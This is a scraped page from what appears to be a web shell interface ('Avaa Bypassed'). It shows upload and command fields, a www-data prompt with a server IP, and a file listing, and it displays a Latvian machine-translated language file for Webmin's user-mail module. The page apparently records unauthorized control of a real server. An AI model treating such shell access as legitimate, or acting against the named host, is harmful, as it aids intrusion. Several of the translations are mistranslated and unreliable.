[ Avaa Bypassed ]




Upload:

Command:

www-data@18.224.32.173: ~ $
index_title=Izlasiet lietotāja pastu
index_none=Jums nav atļauts lasīt e-pastu nevienam šīs sistēmas lietotājam.
index_header=Lietotāju pastkastes
index_empty=Nav pasta
index_return=lietotāju saraksts
index_esystem=Jūsu sistēmā netika atklāts neviens no atbalstītajiem pasta serveriem (Exim, Qmail, Postfix un Sendmail). Jums būs jāpielāgo <a href='$1'>moduļa konfigurācija</a>, lai manuāli iestatītu pasta serveri un, iespējams, pasta ceļus.
index_esystem2=Pasta sistēma, kas iestatīta <a href='$1'>moduļa konfigurācijā</a>, jūsu sistēmā netika atrasta. Jums būs jāpielāgo konfigurācija, lai izmantotu pareizo serveri.
index_esystem3=Sazinoties ar pasta sistēmu, kas iestatīta <a href='$1'>moduļa konfigurācijā</a>, radās kļūda: $2.
index_system6=Pasta serveris: Exim
index_system5=Pasta serveris: Qmail+VPopMail
index_system4=Pasta serveris: Qmail+LDAP
index_system2=Pasta serveris: Qmail
index_system1=Pasta serveris: Sendmail
index_system0=Pasta serveris: Postfix
index_toomany=Jūsu sistēmā ir pārāk daudz lietotāju, lai tos parādītu vienā lapā.
index_find=Atrodiet lietotājus, kur lietotājvārds
index_equals=vienāds
index_contains=satur
index_eperl=Perl modulis $1, kas nepieciešams izvēlētajam SMTP autentifikācijas režīmam, nav instalēts, vai tajā trūkst atkarīgā moduļa. <a href='$2'>Noklikšķiniet šeit</a>, lai to instalētu tūlīt.
index_file=Lasīt pastu failā vai Maildiru:
index_nousers=Netika atrasts neviens lietotājs!
index_nousersmail=Netika atrasts neviens lietotājs ar e-pastu.

mail_title=Lietotāja e-pasts
mail_from=No plkst
mail_date=Datums
mail_subject=Priekšmets
mail_to=Uz
mail_cc=Kopija
mail_bcc=Diskrētā kopija
mail_pri=Prioritāte
mail_highest=Augstākais
mail_high=Augsts
mail_normal=Normāli
mail_low=Zems
mail_lowest=Zemākais
mail_for=$1
mail_for2=Lietotājam $1
mail_sent=Nosūtīto e-pastu sarakstā
mail_size=Izmērs
mail_level=Rezultāts
mail_delete=Dzēst
mail_compose=Sastādīt
mail_open=Atvērt
mail_return=lietotāja pastkaste
mail_pos=Ziņas no $1 līdz $2 no $3 $4
mail_none=Šim lietotājam nav ziņojumu $1
mail_ecannot=Jums nav atļauts lasīt šī lietotāja e-pastu
mail_all=Izvēlēties visus.
mail_invert=Apgrieztā atlase.
mail_nosort=Atiestatīt šķirošanu.
mail_search=Atrodiet ziņojumus kur
mail_body=Korpuss
mail_match=sērkociņi
mail_ok=Meklēt
mail_nonefrom=Nav
mail_mark=Atzīmēt kā:
mail_mark0=Nelasīts
mail_mark1=Lasīt
mail_mark2=Īpašais
mail_forward=Uz priekšu
mail_move=Pārvietot uz:
mail_copy=Kopēt uz:
mail_rfc=No līnijas
mail_eexists=Ziņojums vairs nepastāv!
mail_fchange=Pārmaiņas
mail_indexlink=Atgriezties pastkastē
mail_deleteall=Dzēst visus
mail_black=Noliegt sūtītājus
mail_white=Atļaut sūtītājiem
mail_whitemove=Atļaut sūtītājiem un iesūtnei
mail_efile=Pasta fails neeksistē
mail_fromsrch=Atrodiet e-pastu ar to pašu sūtītāju
mail_subsrch=Atrodiet e-pastu ar to pašu tēmu
mail_tosrch=Atrodiet e-pastu ar saņēmēju
mail_fromfilter=Izveidojiet filtru pēc sūtītāja
mail_tofilter=Izveidojiet filtru pēc saņēmēja
mail_subfilter=Izveidojiet filtru pēc tēmas
mail_unknown=Nezināms

mail_sign=Parakstiet ar taustiņu
mail_nosign=&lt;Neparakstīt&gt;
mail_crypt=Šifrēt
mail_nocrypt=&lt;Nekodēt&gt;
mail_samecrypt=&lt;Taustiņi no mērķa adresēm&gt;
mail_addresses=Pārvaldīt adrešu grāmatu
mail_folders=Pārvaldīt mapes
mail_err=Kļūda, uzskaitot pastu šajā mapē : $1
mail_loginheader=POP3 servera pieteikšanās
mail_loginheader2=IMAP servera pieteikšanās
mail_logindesc=Jums jāievada lietotājvārds un parole, lai piekļūtu pastam <br> e-pasta servera $1 iesūtnē.
mail_loginuser=Lietotājvārds
mail_loginpass=Parole
mail_loginmailbox=IMAP pastkaste
mail_login=Pieslēgties
mail_reset=Skaidrs
mail_logout=Mainīt POP3 pieteikšanos
mail_logout2=Mainīt IMAP pieteikumvārdu
mail_sig=Rediģēt parakstu
mail_jump=Pāriet uz lapu :
mail_of=no
mail_replyto=Atbildēt uz
mail_folder=Mape
mail_delall=Dzēst visus
mail_deltrash=Tukša miskaste
mail_search2=Meklēt:
mail_search3=Atrast ar rezultātu augstāk:
mail_advanced=Izvērstā meklēšana
mail_return2=Lietotāja e-pasts
mail_esystem=Sazinoties ar pasta sistēmu, radās kļūda: $1. Tas jālabo sistēmas administratoram.
mail_selread=Atlasiet lasīt.
mail_selunread=Atlasiet nelasītu.
mail_selspecial=Atlasiet īpašo.
mail_specialsync=Sinhronizēt īpašo

view_title=Lasīt e-pastu
view_desc=Ziņojums $1 in $2
view_desc2=Ziņa $1 lietotājam $2
view_desc3=Ziņojums $1
view_sent=Ziņa $1 nosūtīto e-pastu sarakstā
view_qdesc=Sagaidīts ziņojums $1
view_headers=Pasta galvenes
view_body=Ziņojuma saturs
view_nobody=Šim ziņojumam nav ķermeņa satura.
view_allheaders=Skatīt visas galvenes
view_noheaders=Skatīt galvenes galvenes
view_attach=Pielikumi
view_afile=Pielikuma nosaukums
view_atype=Pielikuma tips
view_aactions=Darbības
view_aview=Skats
view_aopen=Atvērt
view_asave=Saglabāt
view_aplain=Neapstrādāts
view_anofile=Nav faila nosaukuma
view_asize=Faila lielums
view_reply=Atbildi
view_reply2=Atbildēt uz visiem
view_enew=Rediģēt kā jaunu
view_forward=Uz priekšu
view_delete=Dzēst
view_print=Drukāt
view_strip=Noņemiet pielikumus
view_ecannot=Jums nav atļauts lasīt šī lietotāja e-pastu
view_mark=Atzīmēt kā:
view_mark0=Nelasīts
view_mark1=Lasīt
view_mark2=Īpašais
view_markas0=Nelasīts
view_markas1=Lasīt
view_markas2=Īpašais
view_return=oriģināls e-pasts
view_sub=Pievienots e-pasts
view_sub2=Pievienots e-pasts no $1
view_egone=Šis ziņojums vairs nepastāv
view_eugone=Šis lietotājs neeksistē

view_gnupg=GnuPG paraksta pārbaude
view_gnupg_0=$1 paraksts ir derīgs.
view_gnupg_1=Paraksts, ko parakstījis $1, ir derīgs, bet uzticības ķēdi nevarēja izveidot.
view_gnupg_2=$1 paraksts ir <b>NAV</b> derīgs.
view_gnupg_3=Atslēgas ID $1 nav jūsu sarakstā, tāpēc parakstu nevarēja pārbaudīt.
view_gnupg_4=Neizdevās pārbaudīt parakstu : $1
view_crypt=GnuPG pasta atšifrēšana
view_crypt_1=Ziņojums ir šifrēts, bet GnuPG atbalsts nav instalēts.
view_crypt_2=Neizdevās atšifrēt ziņojumu : $1
view_crypt_3=Pasts tika veiksmīgi atšifrēts.
view_crypt_4=Šifrētā ziņojuma daļa tika veiksmīgi atšifrēta.
view_recv=<a href='$2'>Ielādēt atslēgas ID $1 no taustiņu servera</a>.
view_folder=Atgriezties pastkastē
view_dheader=Atvienojiet pielikumu serverim
view_detach=Atdalīšanas fails:
view_dall=&lt;Visi faili&gt;
view_dir=uz servera failu vai direktoriju:
view_black=Noliegt sūtītāju
view_white=Atļaut sūtītājam
view_whitemove=Atļaut sūtītāju un iesūtni
view_razor=Ziņot par surogātpastu
view_ham=Ziņot šķiņķis
view_hammove=Ziņot par šķiņķi un iesūtni
view_razordel=Dzēst surogātpastu
view_dstatus=Neizdevās piegādes statuss
view_dstatusok=Veiksmīgs piegādes statuss
view_final-recipient=Gala saņēmējs
view_diagnostic-code=Neveiksmes iemesls
view_remote-mta=Attālā pasta serveris
view_reporting-mta=Ziņojumu pasta serveris
view_astext=Skatīt kā tekstu
view_ashtml=Skatīt kā HTML
view_images=Rādīt attēlus
view_raw=Skatīt neapstrādātu ziņojumu
view_aall=Saglabājiet visus pielikumus kā ZIP.
view_aslideshow=Rādīt visus attēlus.

compose_title=Sastādīt e-pastu

reply_title=Atbildēt uz e-pastu
forward_title=Pārsūtīt e-pastu
enew_title=Rediģēt e-pastu
reply_headers=Pasta galvenes
reply_attach=Pārsūtītie pielikumi
reply_mailforward=Pārsūtītie ziņojumi
reply_attach2=Klienta un servera puses pielikumi
reply_attach3=Augšupielādētie pielikumi
reply_send=Nosūtīt pastu
reply_ecannot=Jums nav atļauts sūtīt vēstules kā šim lietotājam
reply_body=Ziņojuma teksts
reply_errc=Neizdevās nokopēt pastu
reply_errm=Neizdevās pārvietot pastu
reply_return=sastādīt pastu
reply_efwdnone=Neviena no pārsūtītajām ziņām nepastāv
reply_dsn=Vai pieprasīt paziņojumu par statusa lasīšanu?
reply_del=Vai pieprasīt paziņojumu par piegādes statusu?
reply_aboot=Vai pievienot adresātus adrešu grāmatai?
reply_tabfrom=No plkst
reply_tabto=Uz
reply_tabreplyto=Atbildēt uz
reply_tabcc=Kopija
reply_tabbcc=Diskrētā kopija
reply_tabsigning=Parakstīšana
reply_taboptions=Iespējas
reply_addattach=Pievienojiet pielikuma lauku.
reply_addssattach=Pievienojiet servera puses pielikuma lauku.
reply_html0=Sastādīt tekstu
reply_html1=Sastādīt HTML

reply_spell=Pārbaudīt pareizrakstības kļūdas?
reply_draft=Saglabāt kā melnrakstu
reply_save=Saglabāt un rediģēt

send_err=Neizdevās nosūtīt pastu
send_eto=Trūkst adreses
send_efrom=Trūkst adreses
send_esubject=Trūkst e-pasta tēmas
send_title=Pasts nosūtīts
send_title2=Pasts saglabāts
send_ok=Pasts veiksmīgi nosūtīts uz $1
send_sending=Nosūtot pastu uz $1 ..
send_ecannot=Jums nav atļauts sūtīt vēstules kā šim lietotājam
send_esmtp=SMTP komanda $1 neizdevās : $2
send_eattach=Pielikumu kopsumma nedrīkst pārsniegt $1 kB.
send_eperms=Lietotājs $1 nevar nolasīt $2
send_eperms2=Jums nav atļauts sūtīt failu $1
send_epath=Sendmail izpildāmā $1 neeksistē.
send_efile=Neizdevās nolasīt pielikumu $1 : $2 
send_done=.. darīts.

send_epass=Jūs nevarat parakstīt ziņojumu, jo ieejas frāze vēl nav iestatīta GnuPG modulī.
send_esign=Neizdevās parakstīt ziņojumu : $1
send_ekey=Nevarēju atrast e-pasta adreses atslēgu $1
send_ecrypt=Neizdevās šifrēt ziņojumu : $1
send_eword=Kļūdas vārds $1
send_eword2=Kļūdas vārds $1 - iespējamie labojumi $2
send_eline=Rindā $1 :
send_espell=Jūsu ziņojumā tika atrastas šādas pareizrakstības kļūdas ..
send_draft=E-pasts uz $1 saglabāts melnrakstu mapē.
send_drafting=E-pasta saglabāšana $1 melnrakstu mapē.
send_eattachsize=Pasta pielikums pārsniedza maksimālo atļauto $1 baitu lielumu

delete_title=Dzēst pastu
delete_rusure=Vai tiešām vēlaties izdzēst $1 atlasītos ziņojumus no $2? Tas var aizņemt kādu laiku, kamēr tiek izveidots liels pasta fails. Kamēr dzēšana nav pabeigta, citas darbības nevajadzētu veikt.
delete_rusure2=Vai tiešām vēlaties izdzēst šo ziņojumu no $1? Tas var aizņemt kādu laiku, kamēr tiek izveidots liels pasta fails. Kamēr dzēšana nav pabeigta, citas darbības nevajadzētu veikt.
delete_ok=Dzēst tūlīt
delete_ecannot=Tagad jums ir atļauts izdzēst šī lietotāja vēstules
delete_enone=Dzēšanai nav atlasīts neviens pasts
delete_emnone=Nav atzīmēts neviens e-pasts
delete_efnone=Pārsūtīšanai nav atlasīts neviens pasts
delete_ebnone=Neviena vēstule nav atlasīta
delete_ewnone=Nav atļauts atlasīt e-pastu
delete_ernone=Nav atlasīts neviens pasts, par kuru ziņot par surogātpastu
delete_ehnone=Nav atlasīts neviens pasts, lai ziņotu par šķiņķi
delete_emoveuser=Lietotājs, uz kuru pārvietot pastu, nepastāv
delete_ecopyuser=Neeksistē lietotājs, uz kuru kopēt pastu
delete_emovecannot=Jums nav atļauts pārvietot pastu norādītajam lietotājam
delete_ecopycannot=Jums nav atļauts kopēt pastu norādītajam lietotājam
delete_emovenone=Pārvietošanai nav atlasīts neviens pasts
delete_ecopynone=Kopēt nav atlasīts neviens pasts
delete_nobutton=Neviena poga nav noklikšķinājusi
delete_ereport=Neizdevās ziņot par surogātpastu : $1
delete_errc=Neizdevās nokopēt pastu
delete_errm=Neizdevās pārvietot pastu

confirm_title=Apstipriniet dzēšanu
confirm_warn=Vai tiešām vēlaties no šīs mapes izdzēst atlasītos $1 ziņojumus?
confirm_warnf=Vai tiešām vēlaties izdzēst izvēlētos $1 ziņojumus no mapes <b>$2</b>?
confirm_warn2=Pastkastes lieluma un formāta dēļ tas var aizņemt kādu laiku. Kamēr dzēšana nav pabeigta, citas darbības nevajadzētu veikt.
confirm_warn3=Vai tiešām vēlaties dzēst šo ziņojumu?
confirm_warn4=Kamēr dzēšana nav pabeigta, citas darbības nevajadzētu veikt.
confirm_ok=Dzēst tūlīt
confirm_warnall=Vai tiešām vēlaties izdzēst visus šajā mapē esošos ziņojumus?
confirm_warnallf=Vai tiešām vēlaties izdzēst visus ziņojumus, kas atrodas mapē <b>$1</b>?

search_title=Meklēšanas rezultāti
search_ecannot=Jums nav atļauts meklēt šī lietotāja e-pastā
search_ematch=Jums ir jāievada teksts, kuram jāsakrīt.
search_escore=Trūkst vai nav derīgs surogātpasta rādītājs
search_efield=Jums jāizvēlas meklēšanas tips.
search_ewhat=$1 Rindā nav ievadīts atbilstošs teksts.
search_enone=Nav ievadīts neviens meklēšanas kritērijs
search_none=Nav atrasts neviens ziņojums.
search_results2=$1 pasta ziņas, kas atbilst $2
search_results3=$1 pasta ziņas, kas neatbilst $2
search_results4=$1 pasta ziņas, kas atbilst jūsu meklēšanai
search_results5=$1 pasta ziņas, kurās $2 atbilst $3
search_msg2=Meklēšanas rezultāti vaicājumam $1
search_msg4=Meklēšanas rezultāti
search_msg5=Meklēšanas rezultāti par surogātpastu ar punktu $1
search_msg6=Meklēšanas rezultāti $2
search_local=Vietējās mapēs
search_all=Visās mapēs
search_limit=(no pēdējiem $1 ziņojumiem)
search_status=Ar statusu
search_attach=Jābūt pielikumiem?
search_allstatus=Jebkurš
search_onestatus=Tikai statuss
search_latest=Ziņojumi meklēšanai
search_nolatest=Viss mapē
search_latestnum=Tikai jaunākais
search_elatest=Trūkst vai nav derīgs meklējamo ziņojumu skaits
search_withstatus=, ar statusu $1

folder_inbox=Iesūtne
folder_sent=Nosūtītais pasts
folder_drafts=Melnraksti
folder_trash=Atkritumi

detach_err=Neizdevās atdalīt failu
detach_edir=Nav faila vai direktorija, ko saglabāt ievadītajā
detach_eopen=Neizdevās atvērt $1 : $2 
detach_ewrite=Neizdevās rakstīt uz $1 : $2 
detach_title=Atvienot failu
detach_ok=Uzrakstīja pielikumu servera puses failam $1 ($2).

sform_title=Izvērstā meklēšana
sform_header=Papildu e-pasta meklēšanas iespējas
sform_andmode=Kritēriju režīms
sform_and=Atrodiet ziņojumus, kas atbilst visiem zemāk norādītajiem kritērijiem.
sform_or=Atrast ziņojumus atbilst visiem zemāk norādītajiem kritērijiem.
sform_neg0=satur
sform_neg1=nesatur
sform_ok=Meklēt tagad
sform_folder2=Meklēt mapē (s)
sform_all=&lt;Visas mapes&gt;
sform_local=&lt;Vietējās mapes&gt;
sform_where=Kur
sform_text=teksts
sform_from=No: galvenes
sform_subject=Temats: galvene
sform_to=Kam: galvene
sform_cc=Kopija: galvene
sform_bcc=Diskrētā kopija: galvene
sform_date=Datums: galvene
sform_body=ziņojuma pamatteksts
sform_headers=jebkura galvene
sform_allmsg=viss ziņojums
sform_size=ziņas lielums
sform_return=izvērstās meklēšanas forma

find_enone=Neviens lietotājs neatbilda jūsu meklēšanai
find_title=Meklēšanas rezultāti
find_results=Lietotāji, kas meklē meklēšanu pēc $1 ..
find_user=Lietotājvārds
find_real=Īstais vārds
find_group=Grupa
find_home=Sākuma katalogs
find_size=Pasta lielums
find_incount=E-pasti
find_sentcount=Nosūtīts
find_fcount=Mapes
find_in=$1 in $2

acl_none=Nav
acl_same=Lietotājs ar tādu pašu vārdu
acl_all=Visi
acl_read=Lietotāji, kuru pastu var lasīt
acl_users=Tikai lietotāji
acl_userse=Visi, izņemot lietotājus
acl_usersg=Grupu dalībnieki
acl_from=Atļauts no adresēm
acl_any=Jebkura adrese
acl_fdoms=Pastkaste @ domēni
acl_faddrs=Norādītās adreses
acl_fdom=Jebkura adrese @ domēns
acl_fromname=No adreses īstais vārds
acl_apath=Ierobežojiet failus un programmu direktorijā
acl_attach=Maksimālais kopējais pielikumu lielums
acl_unlimited=Neierobežots
acl_sent=Saglabājiet nosūtītās vēstules pastkastē
acl_canattach=Vai var pievienot servera puses failus?
acl_candetach=Vai var atdalīt failus uz serveri?
acl_usersm=Lietotāji atbilst
acl_asame=Tas pats, kas lietotājvārds
acl_usersu=Ar UID diapazonā
acl_sec=Vai iekļaut vidusskolas grupas?
acl_dir=Var lasīt pasta failus direktorijā
acl_dirauto=Izlemiet automātiski (jebkur, ja visi lietotāji ir redzami, nekur citur)

log_delmail=Izdzēsti $1 ziņojumi no $2
log_movemail=$1 ziņojumi ir pārvietoti no $2 uz $3
log_copymail=Kopēti $1 ziņojumi no $2 uz $3
log_send=Nosūtīts pasts uz $1
log_read=Lasīt $1 pastu

emodified=Šī mape ir modificēta kopš pēdējās apskatīšanas! Atgriezieties <a href='$1'>e-pastu sarakstā</a> un mēģiniet vēlreiz.

razor_title=Ziņošana kā surogātpasts
razor_title2=Ziņo kā Ham
razor_report=Ziņošana par šo ziņojumu Razor un citām SpamAssassin surogātpastu bloķējošām datu bāzēm.
razor_report2=Ziņošana par atlasītajiem ziņojumiem Razor un citām SpamAssassin surogātpastu bloķējošām datu bāzēm.
razor_report3=Atsaukšana par atlasītajiem ziņojumiem Razor un citām SpamAssassin surogātpastu bloķējošām datu bāzēm.
razor_done=.. darīts
razor_err=.. neizdevās! Iemeslu, kāpēc to darīt, skatiet iepriekš redzamajā kļūdas ziņojumā.
razor_moved=.. paveikts un pārvietots uz mapi $1.
razor_deleted=.. gatavs un arī izdzēsts ziņojums.

ham_title=Ziņo kā Ham
ham_report=Ziņošana par šo ziņojumu kā neatgriezenisku surogātpastu Razor un citām SpamAssassin datu bāzēm.

black_title=Sūtītāja noliegšana
black_done=Pievienoja e-pasta adresi $1 SpamAssassin liegto adrešu sarakstam.
black_already=E-pasta adrese $1 jau ir SpamAssassin liegto adrešu sarakstā.

white_title=Sūtītāja atļaušana
white_done=Pievienoja e-pasta adresi $1 SpamAssassin atļauto adrešu sarakstam.
white_already=E-pasta adrese $1 jau ir SpamAssassin atļauto adrešu sarakstā.

ldap_emod=Trūkst Perla moduļa $1, kas nepieciešams savienojumam ar LDAP
ldap_econn=Neizdevās izveidot savienojumu ar LDAP serveri $1 portu $2
ldap_elogin=Neizdevās saistīties ar LDAP serveri $1 kā $2 : $3 
ldap_ehost=Moduļa konfigurācijā nav iestatīts LDAP serveris
ldap_eport=Moduļa konfigurācijā nav iestatīts derīgs LDAP servera ports
ldap_euser=Moduļa konfigurācijā nav iestatīta LDAP pieteikšanās
ldap_ebase=Moduļa konfigurācijā nav iestatīta LDAP bāzes DN

delall_title=Dzēst visu pastu
delall_rusure=Vai tiešām vēlaties izdzēst visus e-pastus no $1? $2 ziņojumi, kuru kopsumma ir $3, tiks izdzēsti uz visiem laikiem.
delall_ok=Dzēst tūlīt

slide_title=Pievienotie attēli
slide_prev=Iepriekšējais
slide_next=Nākamais

left_mail=Pasts
left_search=Meklēt:
left_folders=Pārvaldīt mapes
left_addresses=Adrešu grāmata
left_prefs=Pasta preferences
left_forward=Pārsūtīt e-pastu
left_autoreply=Automātiska atbilde
left_filter=E-pasta filtri
left_pass=Mainīt paroli
left_sig=Rediģēt parakstu

Filemanager

Name Type Size Permission Actions
af.auto File 16.91 KB 0644
ar.auto File 21.23 KB 0644
be.auto File 27.52 KB 0644
bg.auto File 27.73 KB 0644
ca File 18.41 KB 0644
ca.auto File 30 B 0644
cs File 16.58 KB 0644
cs.auto File 1.19 KB 0644
da.auto File 16.93 KB 0644
de File 18.43 KB 0644
de.auto File 27 B 0644
el File 25.24 KB 0644
el.auto File 4.11 KB 0644
en File 15.73 KB 0644
es File 3.44 KB 0644
es.auto File 15.33 KB 0644
eu.auto File 18.01 KB 0644
fa.auto File 21.91 KB 0644
fi File 10.49 KB 0644
fi.auto File 7.49 KB 0644
fr File 18.97 KB 0644
he.auto File 19.01 KB 0644
hr.auto File 17.93 KB 0644
hu File 4.39 KB 0644
hu.auto File 14.12 KB 0644
it File 18.25 KB 0644
it.auto File 449 B 0644
ja File 15.47 KB 0644
ja.auto File 1.42 KB 0644
ko File 16.93 KB 0644
ko.auto File 1.66 KB 0644
lt.auto File 18.35 KB 0644
lv.auto File 17.94 KB 0644
ms.auto File 17.02 KB 0644
mt.auto File 18.07 KB 0644
nl File 17.12 KB 0644
nl.auto File 392 B 0644
no File 16.65 KB 0644
pl File 5.53 KB 0644
pl.auto File 12.9 KB 0644
pt File 1.18 KB 0644
pt.auto File 17.05 KB 0644
pt_BR File 76 B 0644
pt_BR.auto File 18.11 KB 0644
ro.auto File 18.43 KB 0644
ru.auto File 27.46 KB 0644
sk.auto File 18.5 KB 0644
sl.auto File 17.69 KB 0644
sv File 2.33 KB 0644
sv.auto File 14.82 KB 0644
th.auto File 32.23 KB 0644
tr File 15.81 KB 0644
tr.auto File 1.72 KB 0644
uk.auto File 27.69 KB 0644
ur.auto File 22.4 KB 0644
vi.auto File 20.43 KB 0644
zh File 3.06 KB 0644
zh.auto File 12.39 KB 0644
zh_TW File 8.95 KB 0644
zh_TW.auto File 6.23 KB 0644